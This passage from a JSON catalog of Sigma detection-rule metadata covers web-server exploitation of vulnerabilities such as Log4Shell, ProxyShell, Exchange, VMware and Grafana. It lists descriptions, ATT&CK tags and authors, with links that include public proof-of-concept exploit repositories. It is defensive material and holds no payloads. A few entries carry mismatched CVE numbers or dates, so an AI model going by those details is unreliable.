"687f6504-7f44-4549-91fc-f07bab065821", - "value": "Oracle WebLogic Exploit CVE-2021-2109", - "meta": { - "refs": [ - "https://twitter.com/pyn3rd/status/1351696768065409026", - "https://mp.weixin.qq.com/s/wX9TMXl1KVWwB_k6EZOklw", - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2021_2109_weblogic_rce_exploit.yml" - ], - "tags": [ - "attack.t1190", - "attack.initial_access", - "cve.2021.2109" - ], - "creation_date": "2021/01/20", - "filename": "web_cve_2021_2109_weblogic_rce_exploit.yml", - "author": "Bhabesh Raj", - "level": "critical", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "webserver", - "logsource.product": "No established product" - } - }, - { - "description": "Detects the exploitation of VSphere Remote Code Execution vulnerability as described in CVE-2021-21972", - "uuid": "179ed852-0f9b-4009-93a7-68475910fd86", - "value": "CVE-2021-21972 VSphere Exploitation", - "meta": { - "refs": [ - "https://www.vmware.com/security/advisories/VMSA-2021-0002.html", - "https://f5.pm/go-59627.html", - "https://swarm.ptsecurity.com/unauth-rce-vmware", - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2021_21972_vsphere_unauth_rce_exploit.yml" - ], - "tags": [ - "attack.initial_access", - "attack.t1190" - ], - "creation_date": "2021/02/24", - "filename": "web_cve_2021_21972_vsphere_unauth_rce_exploit.yml", - "author": "Bhabesh Raj", - "level": "high", - "falsepositive": [ - "OVA uploads to your VSphere appliance" - ], - "logsource.category": "webserver", - "logsource.product": "No established product" - } - }, - { - "description": "Detects the exploitation of the VMware View Planner vulnerability described in CVE-2021-21978", - "uuid": "77586a7f-7ea4-4c41-b19c-820140b84ca9", - "value": "CVE-2021-21978 Exploitation Attempt", - "meta": { - "refs": [ - "https://twitter.com/wugeej/status/1369476795255320580", - "https://paper.seebug.org/1495/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2021_21978_vmware_view_planner_exploit.yml" - ], - "tags": [ - "attack.initial_access", - "attack.t1190", - "cve.2021.21978" - ], - "creation_date": "2020/03/10", - "filename": "web_cve_2021_21978_vmware_view_planner_exploit.yml", - "author": "Bhabesh Raj", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "webserver", - "logsource.product": "No established product" - } - }, - { - "description": "Detects exploitation attempts using file upload vulnerability CVE-2021-22005 in the VMWare vCenter Server.", - "uuid": "b014ea07-8ea0-4859-b517-50a4e5b7ecec", - "value": "VMware vCenter Server File Upload CVE-2021-22005", - "meta": { - "refs": [ - "https://kb.vmware.com/s/article/85717", - "https://www.tenable.com/blog/cve-2021-22005-critical-file-upload-vulnerability-in-vmware-vcenter-server", - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2021_22005_vmware_file_upload.yml" - ], - "tags": [ - "attack.initial_access", - "attack.t1190" - ], - "creation_date": "2021/09/24", - "filename": "web_cve_2021_22005_vmware_file_upload.yml", - "author": "Sittikorn S", - "level": "high", - "falsepositive": [ - "Vulnerability Scanning" - ], - "logsource.category": "webserver", - "logsource.product": "No established product" - } - }, - { - "description": "Detects CVE-2021-22123 exploitation attempt against Fortinet WAFs", - "uuid": "f425637f-891c-4191-a6c4-3bb1b70513b4", - "value": "Fortinet CVE-2021-22123 Exploitation", - "meta": { - "refs": [ - "https://www.rapid7.com/blog/post/2021/08/17/fortinet-fortiweb-os-command-injection", - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2021_22123_fortinet_exploit.yml" - ], - "tags": [ - "attack.initial_access", - "attack.t1190" - ], - "creation_date": "2021/08/19", - "filename": "web_cve_2021_22123_fortinet_exploit.yml", - "author": "Bhabesh Raj, Florian Roth", - "level": "critical", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "webserver", - "logsource.product": "No established product" - } - }, - { - "description": "This rule detects exploitation attempts using Pulse Connect Secure(PCS) vulnerability (CVE-2021-22893)", - "uuid": "5525edac-f599-4bfd-b926-3fa69860e766", - "value": "Pulse Connect Secure RCE Attack CVE-2021-22893", - "meta": { - "refs": [ - "https://www.fireeye.com/blog/threat-research/2021/04/suspected-apt-actors-leverage-bypass-techniques-pulse-secure-zero-day.html", - "https://kb.pulsesecure.net/articles/Pulse_Security_Advisories/SA44784", - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2021_22893_pulse_secure_rce_exploit.yml" - ], - "tags": [ - "attack.initial_access", - "attack.t1190" - ], - "creation_date": "2021/06/29", - "filename": "web_cve_2021_22893_pulse_secure_rce_exploit.yml", - "author": "Sittikorn S", - "level": "high", - "falsepositive": [ - "Vulnerability Scanning" - ], - "logsource.category": "webserver", - "logsource.product": "No established product" - } - }, - { - "description": "Detects the exploitation of the Wazuh RCE vulnerability described in CVE-2021-26814", - "uuid": "b9888738-29ed-4c54-96a4-f38c57b84bb3", - "value": "Exploitation of CVE-2021-26814 in Wazuh", - "meta": { - "refs": [ - "https://github.com/WickdDavid/CVE-2021-26814/blob/6a17355a10ec4db771d0f112cbe031e418d829d5/PoC.py", - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2021_26814_wzuh_rce.yml" - ], - "tags": [ - "attack.initial_access", - "attack.t1190", - "cve.2021.21978", - "cve.2021.26814" - ], - "creation_date": "2021/05/22", - "filename": "web_cve_2021_26814_wzuh_rce.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "webserver", - "logsource.product": "No established product" - } - }, - { - "description": "When exploiting this vulnerability with CVE-2021-26858, an SSRF attack is used to manipulate virtual directories", - "uuid": "effee1f6-a932-4297-a81f-acb44064fa3a", - "value": "ProxyLogon Reset Virtual Directories Based On IIS Log", - "meta": { - "refs": [ - "https://bi-zone.medium.com/hunting-down-ms-exchange-attacks-part-1-proxylogon-cve-2021-26855-26858-27065-26857-6e885c5f197c", - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2021_26858_iis_rce.yml" - ], - "tags": "No established tags", - "creation_date": "2021/08/10", - "filename": "web_cve_2021_26858_iis_rce.yml", - "author": "frack113", - "level": "critical", - "falsepositive": [ - "Unlikely" - ], - "logsource.category": "webserver", - "logsource.product": "windows" - } - }, - { - "description": "Detects successful exploitation of Exchange vulnerability as reported in CVE-2021-28480", - "uuid": "a2a9d722-0acb-4096-bccc-daaf91a5037b", - "value": "Exchange Exploitation CVE-2021-28480", - "meta": { - "refs": [ - "https://twitter.com/GossiTheDog/status/1392965209132871683?s=20", - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2021_28480_exchange_exploit.yml" - ], - "tags": [ - "attack.initial_access", - "attack.t1190" - ], - "creation_date": "2021/05/14", - "filename": "web_cve_2021_28480_exchange_exploit.yml", - "author": "Florian Roth", - "level": "critical", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "webserver", - "logsource.product": "No established product" - } - }, - { - "description": "Detects the exploitation of Microsoft Exchange ProxyToken vulnerability as described in CVE-2021-33766", - "uuid": "56973b50-3382-4b56-bdf5-f51a3183797a", - "value": "CVE-2021-33766 Exchange ProxyToken Exploitation", - "meta": { - "refs": [ - "https://www.zerodayinitiative.com/blog/2021/8/30/proxytoken-an-authentication-bypass-in-microsoft-exchange-server", - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2021_33766_msexchange_proxytoken.yml" - ], - "tags": [ - "attack.initial_access", - "attack.t1190" - ], - "creation_date": "2021/08/30", - "filename": "web_cve_2021_33766_msexchange_proxytoken.yml", - "author": "Florian Roth, Max Altgelt, Christian Burkard", - "level": "critical", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "webserver", - "logsource.product": "No established product" - } - }, - { - "description": "Detects suspicious access to URLs that was noticed in cases in which attackers exploitated the ADSelfService vulnerability CVE-2021-40539", - "uuid": "6702b13c-e421-44cc-ab33-42cc25570f11", - "value": "ADSelfService Exploitation", - "meta": { - "refs": [ - "https://us-cert.cisa.gov/ncas/alerts/aa21-259a", - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2021_40539_adselfservice.yml" - ], - "tags": "No established tags", - "creation_date": "2021/09/20", - "filename": "web_cve_2021_40539_adselfservice.yml", - "author": "Tobias Michalski, Max Altgelt", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "webserver", - "logsource.product": "No established product" - } - }, - { - "description": "Detects an authentication bypass vulnerability affecting the REST API URLs in ADSelfService Plus (CVE-2021-40539).", - "uuid": "fcbb4a77-f368-4945-b046-4499a1da69d1", - "value": "CVE-2021-40539 Zoho ManageEngine ADSelfService Plus Exploit", - "meta": { - "refs": [ - "https://therecord.media/cisa-warns-of-zoho-server-zero-day-exploited-in-the-wild/", - "https://www.manageengine.com/products/self-service-password/kb/how-to-fix-authentication-bypass-vulnerability-in-REST-API.html", - "https://us-cert.cisa.gov/ncas/alerts/aa21-259a", - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2021_40539_manageengine_adselfservice_exploit.yml" - ], - "tags": [ - "attack.initial_access", - "attack.t1190", - "attack.persistence", - "attack.t1505.003" - ], - "creation_date": "2021/09/10", - "filename": "web_cve_2021_40539_manageengine_adselfservice_exploit.yml", - "author": "Sittikorn S, Nuttakorn Tungpoonsup", - "level": "critical", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "webserver", - "logsource.product": "No established product" - } - }, - { - "description": "Detects exploitation of flaw in path normalization in Apache HTTP server 2.4.49.\nAn attacker could use a path traversal attack to map URLs to files outside the expected document root.\nIf files outside of the document root are not protected by \"require all denied\" these requests can succeed.\nAdditionally this flaw could leak the source of interpreted files like CGI scripts.\nThis issue is known to be exploited in the wild. This issue only affects Apache 2.4.49 and not earlier versions.\n", - "uuid": "3007fec6-e761-4319-91af-e32e20ac43f5", - "value": "CVE-2021-41773 Exploitation Attempt", - "meta": { - "refs": [ - "https://nvd.nist.gov/vuln/detail/CVE-2021-41773", - "https://github.com/apache/httpd/commit/e150697086e70c552b2588f369f2d17815cb1782", - "https://twitter.com/ptswarm/status/1445376079548624899", - "https://twitter.com/h4x0r_dz/status/1445401960371429381", - "https://github.com/projectdiscovery/nuclei-templates/blob/9d2889356eebba661c8407038e430759dfd4ec31/cves/2021/CVE-2021-41773.yaml", - "https://twitter.com/bl4sty/status/1445462677824761878", - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2021_41773_apache_path_traversal.yml" - ], - "tags": [ - "attack.initial_access", - "attack.t1190" - ], - "creation_date": "2021/10/05", - "filename": "web_cve_2021_41773_apache_path_traversal.yml", - "author": "daffainfo, Florian Roth", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "webserver", - "logsource.product": "No established product" - } - }, - { - "description": "Detects exploitation attempts of Sitecore Experience Platform Pre-Auth RCE CVE-2021-42237 found in Report.ashx", - "uuid": "20c6ed1c-f7f0-4ea3-aa65-4f198e6acb0f", - "value": "Sitecore Pre-Auth RCE CVE-2021-42237", - "meta": { - "refs": [ - "https://blog.assetnote.io/2021/11/02/sitecore-rce/", - "https://support.sitecore.com/kb?id=kb_article_view&sysparm_article=KB1000776", - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2021_42237_sitecore_report_ashx.yml" - ], - "tags": [ - "attack.initial_access", - "attack.t1190" - ], - "creation_date": "2021/11/17", - "filename": "web_cve_2021_42237_sitecore_report_ashx.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Vulnerability Scanning" - ], - "logsource.category": "webserver", - "logsource.product": "No established product" - } - }, - { - "description": "Detects a successful Grafana path traversal exploitation", - "uuid": "7b72b328-5708-414f-9a2a-6a6867c26e16", - "value": "Grafana Path Traversal Exploitation CVE-2021-43798", - "meta": { - "refs": [ - "https://grafana.com/blog/2021/12/07/grafana-8.3.1-8.2.7-8.1.8-and-8.0.7-released-with-high-severity-security-fix/", - "https://github.com/search?q=CVE-2021-43798", - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2021_43798_grafana.yml" - ], - "tags": [ - "attack.initial_access", - "attack.t1190" - ], - "creation_date": "2021/12/08", - "filename": "web_cve_2021_43798_grafana.yml", - "author": "Florian Roth", - "level": "critical", - "falsepositive": [ - "Vulnerability scanners that scan a host that returns 200 status codes even in cases of a file not found or other error" - ], - "logsource.category": "webserver", - "logsource.product": "No established product" - } - }, - { - "description": "Detects exploitation attempt against log4j RCE vulnerability reported as CVE-2021-44228 (Log4Shell)", - "uuid": "5ea8faa8-db8b-45be-89b0-151b84c82702", - "value": "Log4j RCE CVE-2021-44228 Generic", - "meta": { - "refs": [ - "https://www.lunasec.io/docs/blog/log4j-zero-day/", - "https://news.ycombinator.com/item?id=29504755", - "https://github.com/tangxiaofeng7/apache-log4j-poc", - "https://gist.github.com/Neo23x0/e4c8b03ff8cdf1fa63b7d15db6e3860b", - "https://github.com/YfryTchsGD/Log4jAttackSurface", - "https://twitter.com/shutingrz/status/1469255861394866177?s=21", - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2021_44228_log4j.yml" - ], - "tags": [ - "attack.initial_access", - "attack.t1190" - ], - "creation_date": "2021/12/10", - "filename": "web_cve_2021_44228_log4j.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Vulnerability scanning" - ], - "logsource.category": "webserver", - "logsource.product": "No established product" - } - }, - { - "description": "Detects exploitation attempt against log4j RCE vulnerability reported as CVE-2021-44228 in different header fields found in web server logs (Log4Shell)", - "uuid": "9be472ed-893c-4ec0-94da-312d2765f654", - "value": "Log4j RCE CVE-2021-44228 in Fields", - "meta": { - "refs": [ - "https://www.lunasec.io/docs/blog/log4j-zero-day/", - "https://news.ycombinator.com/item?id=29504755", - "https://github.com/tangxiaofeng7/apache-log4j-poc", - "https://gist.github.com/Neo23x0/e4c8b03ff8cdf1fa63b7d15db6e3860b", - "https://github.com/YfryTchsGD/Log4jAttackSurface", - "https://twitter.com/shutingrz/status/1469255861394866177?s=21", - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2021_44228_log4j_fields.yml" - ], - "tags": [ - "attack.initial_access", - "attack.t1190" - ], - "creation_date": "2021/12/10", - "filename": "web_cve_2021_44228_log4j_fields.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Vulnerability scanning" - ], - "logsource.category": "webserver", - "logsource.product": "No established product" - } - }, - { - "description": "Detects an attempt to leverage the vulnerable servlet \"mboximport\" for an unauthenticated remote command injection", - "uuid": "dd218fb6-4d02-42dc-85f0-a0a376072efd", - "value": "Zimbra Collaboration Suite Email Server Unauthenticated RCE", - "meta": { - "refs": [ - "https://www.volexity.com/blog/2022/08/10/mass-exploitation-of-unauthenticated-zimbra-rce-cve-2022-27925/", - "https://www.yang99.top/index.php/archives/82/", - "https://github.com/vnhacker1337/CVE-2022-27925-PoC", - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2022_27925_exploit.yml" - ], - "tags": [ - "attack.initial_access", - "attack.t1190", - "cve.2022.27925" - ], - "creation_date": "2022/08/17", - "filename": "web_cve_2022_27925_exploit.yml", - "author": "@gott_cyber", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "webserver", - "logsource.product": "No established product" - } - }, - { - "description": "Detects the exploitation of VMware Workspace ONE Access Authentication Bypass vulnerability as described in CVE-2022-31656\nVMware Workspace ONE Access, Identity Manager and vRealize Automation contain an authentication bypass vulnerability affecting local domain users.\nA malicious actor with network access to the UI may be able to obtain administrative access without the need to authenticate.\n", - "uuid": "fcf1101d-07c9-49b2-ad81-7e421ff96d80", - "value": "CVE-2022-31656 VMware Workspace ONE Access Auth Bypass", - "meta": { - "refs": [ - "https://petrusviet.medium.com/dancing-on-the-architecture-of-vmware-workspace-one-access-eng-ad592ae1b6dd", - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2022_31656_auth_bypass.yml" - ], - "tags": [ - "attack.initial_access", - "attack.t1190" - ], - "creation_date": "2022/08/12", - "filename": "web_cve_2022_31656_auth_bypass.yml", - "author": "Nasreddine Bencherchali", - "level": "high", - "falsepositive": [ - "Vulnerability scanners" - ], - "logsource.category": "webserver", - "logsource.product": "No established product" - } - }, - { - "description": "Detects possible exploitation of VMware Workspace ONE Access Admin Remote Code Execution vulnerability as described in CVE-2022-31659", - "uuid": "efdb2003-a922-48aa-8f37-8b80021a9706", - "value": "CVE-2022-31659 VMware Workspace ONE Access RCE", - "meta": { - "refs": [ - "https://petrusviet.medium.com/dancing-on-the-architecture-of-vmware-workspace-one-access-eng-ad592ae1b6dd", - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2022_31659_vmware_rce.yml" - ], - "tags": [ - "attack.initial_access", - "attack.t1190" - ], - "creation_date": "2022/08/12", - "filename": "web_cve_2022_31659_vmware_rce.yml", - "author": "Nasreddine Bencherchali", - "level": "medium", - "falsepositive": [ - "Vulnerability scanners", - "Legitimate access to the URI" - ], - "logsource.category": "webserver", - "logsource.product": "No established product" - } - }, - { - "description": "Detects attempts to exploit an apache spark server via CVE-2014-6287 from a weblogs perspective", - "uuid": "1a9a04fd-02d1-465c-abad-d733fd409f9c", - "value": "Apache Spark Shell Command Injection - Weblogs", - "meta": { - "refs": [ - "https://github.com/W01fh4cker/cve-2022-33891/blob/fd973b56e78bca8822caa3a2e3cf1b5aff5d0950/cve_2022_33891_poc.py", - "https://sumsec.me/2022/CVE-2022-33891%20Apache%20Spark%20shell%20command%20injection.html", - "https://github.com/apache/spark/pull/36315/files", - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2022_33891_spark_shell_command_injection.yml" - ], - "tags": [ - "attack.initial_access", - "attack.t1190", - "cve.2022.33891" - ], - "creation_date": "2022/07/19", - "filename": "web_cve_2022_33891_spark_shell_command_injection.yml", - "author": "Nasreddine Bencherchali", - "level": "high", - "falsepositive": [ - "Web vulnerability scanners" - ], - "logsource.category": "webserver", - "logsource.product": "No established product" - } - }, - { - "description": "Detects attempts to exploit the Atlassian Bitbucket Command Injection CVE-2022-36804", - "uuid": "65c0a0ab-d675-4441-bd6b-d3db226a2685", - "value": "Atlassian Bitbucket Command Injection Via Archive API", - "meta": { - "refs": [ - "https://twitter.com/_0xf4n9x_/status/1572052954538192901", - "https://www.rapid7.com/blog/post/2022/09/20/cve-2022-36804-easily-exploitable-vulnerability-in-atlassian-bitbucket-server-and-data-center/", - "https://confluence.atlassian.com/bitbucketserver/bitbucket-server-and-data-center-advisory-2022-08-24-1155489835.html", - "https://blog.assetnote.io/2022/09/14/rce-in-bitbucket-server/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2022_36804_atlassian_bitbucket_command_injection.yml" - ], - "tags": [ - "attack.initial_access", - "attack.t1190", - "cve.2022.36804" - ], - "creation_date": "2022/09/29", - "filename": "web_cve_2022_36804_atlassian_bitbucket_command_injection.yml", - "author": "Nasreddine Bencherchali", - "level": "high", - "falsepositive": [ - "Web vulnerability scanners" - ], - "logsource.category": "webserver", - "logsource.product": "No established product" - } - }, - { - "description": "Detects exploitation attempts in Exchange server logs as described in blog posts reporting on HAFNIUM group activity", - "uuid": "67bce556-312f-4c81-9162-c3c9ff2599b2", - "value": "Exchange Exploitation Used by HAFNIUM", - "meta": { - "refs": [ - "https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/", - "https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_exchange_exploitation_hafnium.yml" - ], - "tags": [ - "attack.initial_access", - "attack.t1190" - ], - "creation_date": "2021/03/03", - "filename": "web_exchange_exploitation_hafnium.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Legitimate access to other web applications that use the same folder names as Exchange (e.g. owa, ecp) but are not Microsoft Exchange related" - ], - "logsource.category": "webserver", - "logsource.product": "No established product" - } - }, - { - "description": "Detects URL patterns that could be found in ProxyShell exploitation attempts against Exchange servers (failed and successful)", - "uuid": "23eee45e-933b-49f9-ae1b-df706d2d52ef", - "value": "Exchange ProxyShell Pattern", - "meta": { - "refs": [ - "https://youtu.be/5mqid-7zp8k?t=2231", - "https://blog.orange.tw/2021/08/proxylogon-a-new-attack-surface-on-ms-exchange-part-1.html", - "https://peterjson.medium.com/reproducing-the-proxyshell-pwn2own-exploit-49743a4ea9a1", - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_exchange_proxyshell.yml" - ], - "tags": [ - "attack.initial_access", - "attack.t1190" - ], - "creation_date": "2021/08/07", - "filename": "web_exchange_proxyshell.yml", - "author": "Florian Roth, Rich Warren", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "webserver", - "logsource.product": "No established product" - } - }, - { - "description": "Detects URP patterns and status codes that indicate a successful ProxyShell exploitation attack against Exchange servers", - "uuid": "992be1eb-e5da-437e-9a54-6d13b57bb4d8", - "value": "Successful Exchange ProxyShell Attack", - "meta": { - "refs": [ - "https://youtu.be/5mqid-7zp8k?t=2231", - "https://blog.orange.tw/2021/08/proxylogon-a-new-attack-surface-on-ms-exchange-part-1.html", - "https://peterjson.medium.com/reproducing-the-proxyshell-pwn2own-exploit-49743a4ea9a1", - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_exchange_proxyshell_successful.yml" - ], - "tags": [ - "attack.initial_access" - ], - "creation_date": "2021/08/09", - "filename": "web_exchange_proxyshell_successful.yml", - "author": "Florian Roth, Rich Warren", - "level": "critical", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "webserver", - "logsource.product": "No established product" - } - }, - { - "description": "When IIS uses an old .Net Framework it's possible to enumerate folders with the symbol \"~\"", - "uuid": "7cb02516-6d95-4ffc-8eee-162075e111ac", - "value": "Successful IIS Shortname Fuzzing Scan", - "meta": { - "refs": [ - "https://github.com/projectdiscovery/nuclei-templates/blob/9d2889356eebba661c8407038e430759dfd4ec31/fuzzing/iis-shortname.yaml", - "https://www.exploit-db.com/exploits/19525", - "https://github.com/lijiejie/IIS_shortname_Scanner", - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_iis_tilt_shortname_scan.yml" - ], - "tags": [ - "attack.initial_access", - "attack.t1190" - ], - "creation_date": "2021/10/06", - "filename": "web_iis_tilt_shortname_scan.yml", - "author": "frack113", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "webserver", - "logsource.product": "No established product" - } - }, - { - "description": "Detects possible Java payloads in web access logs", - "uuid": "583aa0a2-30b1-4d62-8bf3-ab73689efe6c", - "value": "Java Payload Strings", - "meta": { - "refs": [ - "https://www.rapid7.com/blog/post/2022/06/02/active-exploitation-of-confluence-cve-2022-26134/", - "https://www.rapid7.com/blog/post/2021/09/02/active-exploitation-of-confluence-server-cve-2021-26084/", - "https://github.com/httpvoid/writeups/blob/62d3751945289d088ccfdf4d0ffbf61598a2cd7d/Confluence-RCE.md", - "https://twitter.com/httpvoid0x2f/status/1532924261035384832", - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_java_payload_in_access_logs.yml" - ], - "tags": [ - "cve.2022.26134", - "cve.2021.26084" - ], - "creation_date": "2022/06/04", - "filename": "web_java_payload_in_access_logs.yml", - "author": "frack113", - "level": "high", - "falsepositive": [ - "Legitimate apps" - ], - "logsource.category": "webserver", - "logsource.product": "No established product" - } - }, - { - "description": "Detects exploitation attempt using the JDNIExploiit Kit", - "uuid": "412d55bc-7737-4d25-9542-5b396867ce55", - "value": "JNDIExploit Pattern", - "meta": { - "refs": [ - "https://github.com/pimps/JNDI-Exploit-Kit", - "https://githubmemory.com/repo/FunctFan/JNDIExploit", - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_jndi_exploit.yml" - ], - "tags": "No established tags", - "creation_date": "2021/12/12", - "filename": "web_jndi_exploit.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Legitimate apps the use these paths" - ], - "logsource.category": "webserver", - "logsource.product": "No established product" - } - }, - { - "description": "Detects possible exploitation activity or bugs in a web application", - "uuid": "6fdfc796-06b3-46e8-af08-58f3505318af", - "value": "Multiple Suspicious Resp Codes Caused by Single Client", - "meta": { - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_multiple_susp_resp_codes_single_source.yml" - ], - "tags": [ - "attack.initial_access", - "attack.t1190" - ], - "creation_date": "2017/02/19", - "filename": "web_multiple_susp_resp_codes_single_source.yml", - "author": "Thomas Patzke", - "level": "medium", - "falsepositive": [ - "Unstable application", - "Application that misuses the response codes" - ], - "logsource.category": "webserver", - "logsource.product": "No established product" - } - }, - { - "description": "Detects a core dump of a crashing Nginx worker process, which could be a signal of a serious problem or exploitation attempts.", - "uuid": "59ec40bb-322e-40ab-808d-84fa690d7e56", - "value": "Nginx Core Dump", - "meta": { - "refs": [ - "https://docs.nginx.com/nginx/admin-guide/monitoring/debugging/#enabling-core-dumps", - "https://www.x41-dsec.de/lab/advisories/x41-2021-002-nginx-resolver-copy/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_nginx_core_dump.yml" - ], - "tags": [ - "attack.impact", - "attack.t1499.004" - ], - "creation_date": "2021/05/31", - "filename": "web_nginx_core_dump.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Serious issues with a configuration or plugin" - ], - "logsource.category": "No established category", - "logsource.product": "No established product" - } - }, - { - "description": "Detects path traversal exploitation attempts", - "uuid": "7745c2ea-24a5-4290-b680-04359cb84b35", - "value": "Path Traversal Exploitation Attempts", - "meta": { - "refs": [ - "https://github.com/projectdiscovery/nuclei-templates", - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_path_traversal_exploitation_attempt.yml" - ], - "tags": [ - "attack.initial_access", - "attack.t1190" - ], - "creation_date": "2021/09/25", - "filename": "web_path_traversal_exploitation_attempt.yml", - "author": "Subhash Popuri (@pbssubhash), Florian Roth (generalisation)", - "level": "medium", - "falsepositive": [ - "Happens all the time on systems exposed to the Internet", - "Internal vulnerability scanners" - ], - "logsource.category": "webserver", - "logsource.product": "No established product" - } - }, - { - "description": "Detects access to SUPERNOVA webshell as described in Guidepoint report", - "uuid": "a2cee20b-eacc-459f-861d-c02e5d12f1db", - "value": "Solarwinds SUPERNOVA Webshell Access", - "meta": { - "refs": [ - "https://www.guidepointsecurity.com/supernova-solarwinds-net-webshell-analysis/", - "https://www.anquanke.com/post/id/226029", - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_solarwinds_supernova_webshell.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1505.003" - ], - "creation_date": "2020/12/17", - "filename": "web_solarwinds_supernova_webshell.yml", - "author": "Florian Roth", - "level": "critical", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "webserver", - "logsource.product": "No established product" - } - }, - { - "description": "Detects exploitation attempts of the SonicWall Jarrewrite Exploit", - "uuid": "6f55f047-112b-4101-ad32-43913f52db46", - "value": "SonicWall SSL/VPN Jarrewrite Exploit", - "meta": { - "refs": [ - "https://darrenmartyn.ie/2021/01/24/visualdoor-sonicwall-ssl-vpn-exploit/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_sonicwall_jarrewrite_exploit.yml" - ], - "tags": [ - "attack.t1190", - "attack.initial_access" - ], - "creation_date": "2021/01/25", - "filename": "web_sonicwall_jarrewrite_exploit.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "webserver", - "logsource.product": "No established product" - } - }, - { - "description": "Detects source code enumeration that use GET requests by keyword searches in URL strings", - "uuid": "953d460b-f810-420a-97a2-cfca4c98e602", - "value": "Source Code Enumeration Detection by Keyword", - "meta": { - "refs": [ - "https://pentester.land/tutorials/2018/10/25/source-code-disclosure-via-exposed-git-folder.html", - "https://medium.com/@logicbomb_1/bugbounty-how-i-was-able-to-download-the-source-code-of-indias-largest-telecom-service-52cf5c5640a1", - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_source_code_enumeration.yml" - ], - "tags": [ - "attack.discovery", - "attack.t1083" - ], - "creation_date": "2019/06/08", - "filename": "web_source_code_enumeration.yml", - "author": "James Ahearn", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "webserver", - "logsource.product": "No established product" - } - }, - { - "description": "Detects SQL Injection attempts via GET requests in access logs", - "uuid": "5513deaf-f49a-46c2-a6c8-3f111b5cb453", - "value": "SQL Injection Strings", - "meta": { - "refs": [ - "https://www.acunetix.com/blog/articles/exploiting-sql-injection-example/", - "https://www.acunetix.com/blog/articles/using-logs-to-investigate-a-web-application-attack/", - "https://brightsec.com/blog/sql-injection-payloads/", - "https://github.com/payloadbox/sql-injection-payload-list", - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_sql_injection_in_access_logs.yml" - ], - "tags": "No established tags", - "creation_date": "2020/02/22", - "filename": "web_sql_injection_in_access_logs.yml", - "author": "Saw Win Naung, Nasreddine Bencherchali", - "level": "high", - "falsepositive": [ - "Java scripts and CSS Files", - "User searches in search boxes of the respective website", - "Internal vulnerability scanners can cause some serious FPs when used, if you experience a lot of FPs due to this think of adding more filters such as \"User Agent\" strings and more response codes" - ], - "logsource.category": "webserver", - "logsource.product": "No established product" - } - }, - { - "description": "Detects SSTI attempts sent via GET requests in access logs", - "uuid": "ada3bc4f-f0fd-42b9-ba91-e105e8af7342", - "value": "Server Side Template Injection Strings", - "meta": { - "refs": [ - "https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection", - "https://github.com/payloadbox/ssti-payloads", - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_ssti_in_access_logs.yml" - ], - "tags": "No established tags", - "creation_date": "2022/06/14", - "filename": "web_ssti_in_access_logs.yml", - "author": 